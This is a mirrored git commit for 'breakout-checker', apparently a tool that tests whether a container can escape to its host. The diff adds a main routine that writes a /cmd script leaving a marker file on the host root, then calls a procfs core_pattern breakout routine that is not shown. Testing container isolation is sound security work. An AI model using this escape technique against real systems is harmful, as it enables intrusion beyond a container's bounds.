mirror of
https://github.com/mii443/breakout-checker.git
synced 2025-08-22 15:15:26 +00:00
add procfs core_pattern breakout
This commit is contained in:
@ -4,3 +4,4 @@ version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
nix = { version = "0.29.0", features = ["sched", "hostname", "mount"] }
|
||||
|
34
src/main.rs
34
src/main.rs
@ -1,3 +1,33 @@
|
||||
fn main() {
|
||||
println!("Hello, world!");
|
||||
use std::{io::Write, os::unix::fs::PermissionsExt};
|
||||
|
||||
use attacks::procfs::procfs_breakout;
|
||||
|
||||
mod attacks;
|
||||
|
||||
fn main() -> Result<(), std::io::Error> {
|
||||
let args: Vec<String> = std::env::args().collect();
|
||||
let host_root = &args[1].trim_end_matches("/");
|
||||
println!("Breakout prelude");
|
||||
prelude(host_root)?;
|
||||
println!("procfs breakout");
|
||||
println!("{:?}", procfs_breakout(host_root));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prelude(host_root: &str) -> Result<(), std::io::Error> {
|
||||
let mut cmd = std::fs::File::create("/cmd")?;
|
||||
cmd.metadata()?.permissions().set_mode(0o777);
|
||||
|
||||
cmd.write_all(
|
||||
format!(
|
||||
r#"#!/bin/sh
|
||||
echo "true" > {}/breakout
|
||||
"#,
|
||||
host_root
|
||||
)
|
||||
.as_bytes(),
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
Reference in New Issue
Block a user